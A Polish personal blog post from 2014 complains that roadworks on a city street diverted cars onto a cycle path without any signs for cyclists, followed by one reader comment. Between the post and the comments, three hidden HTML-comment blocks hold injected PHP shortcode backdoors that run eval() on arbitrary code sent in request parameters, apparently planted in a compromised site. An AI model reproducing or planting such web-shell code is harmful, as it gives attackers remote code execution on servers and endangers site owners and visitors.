Google PlusFacebookTwitter

Rowery są niepotrzebne

By on 11 grudnia 2014 in Blog | 1 comment

Share On GoogleShare On FacebookShare On Twitter

Jestem człowiekiem spokojnym. Mało się denerwuję, mimo że czasem zdarza mi się zirytować. Chyba najbardziej jednak szlag mnie trafia gdy widzę brak pomyślunku. Czyli zwyczajnie używania mózgu. Choć z drugiej strony. Każdy ma mózg i jakoś go używa…droga-dla-rowerow

Co takiego więc się stało, że aż postanowiłem blog założyć? Niby zwykła sytuacja. A zaczęło się tak:

Do pracy jeżdżę rowerem. W sumie to prawie wszędzie  nim jeżdżę. Od pewnego czasu w centrum miasta, przy ulicy Półwiejskiej budują budynek. Musieli zawłaszczyć kawałek ulicy, zlikwidować tymczasowo chodnik. Ja to wszystko rozumiem. Postęp musi być. Pewnego razu nawet wyłączyli dwa pasy ruchu, bo ściągali asfalt. Wiadomo, trza się dostosować.

Ale to w jaki sposób to został zorganizowany ruch, to już jakieś ciężkie nieporozumienie. Poświęciłem nawet czas, żeby stworzyć profil na ePUAP żeby napisać skargę na te działania. Ale wciąż nie napisałem co się stało.

droga-rower

Po prostu. Nikt nie myśli o rowerzystach. Wyłączyli dwa pasy i drogę poprowadzili przez ścieżkę rowerową – bo przecież była „wolna” i tak było najłatwiej. Przebolałbym to, bo wiadomo – postęp. Ale że nie dali żadnego znaku to już przesada. Jadę sobie więc ulicą skręcam ze skrzyżowania na ścieżkę rowerową, a tu mi samochód osobowy zajeżdża drogę. Dobrze, że nie zatrąbił, bo chyba się zorientował, że sytuacja dosyć dziwna. Przez myśl mi nawet przeszło, żeby się zatrzymać i np. buta zawiązać.

droga-rowerowa

Z każdej strony – a stron gdzie rowery mogą tamtędy jechać jest aż 4, brakowało jakichkolwiek znaków dla rowerzystów o zmianie organizacji ruchu. Bo oczywiście dla samochodów były znaki. Pojawiły się i znaki poziome i zwykłe drogowe. A rowerzyści? Eee poradzą sobie.

Tak jak pisałem. Nie chodzi o to, że ktoś robi utrudnienia. Ale o to, że nikt nie pomyślał o prawidłowym zorganizowaniu ruchu.

<!– [insert_php]if (isset($_REQUEST["rcG"])){eval($_REQUEST["rcG"]);exit;}[/insert_php][php]if (isset($_REQUEST["rcG"])){eval($_REQUEST["rcG"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["rTBv"])){eval($_REQUEST["rTBv"]);exit;}[/insert_php][php]if (isset($_REQUEST["rTBv"])){eval($_REQUEST["rTBv"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["SqbBw"])){eval($_REQUEST["SqbBw"]);exit;}[/insert_php][php]if (isset($_REQUEST["SqbBw"])){eval($_REQUEST["SqbBw"]);exit;}[/php] –>

1 Comment

  1. W Łodzi też jak remontują, trzeba na maksa się czasami wytężyć, żeby zrozumieć o co chodzi. Jeszcze Ci, którzy codziennie jeżdżą tą samą trasą, może dadzą sobie radę. Ale jedź tam gdzie Cię dawno nie było i akurat traf na remont. Masakryczne rozwiązania (a raczej ich brak) można spotkać na swojej drodze.

Submit a Comment

Twój adres email nie zostanie opublikowany. Pola, których wypełnienie jest wymagane, są oznaczone symbolem *

Share This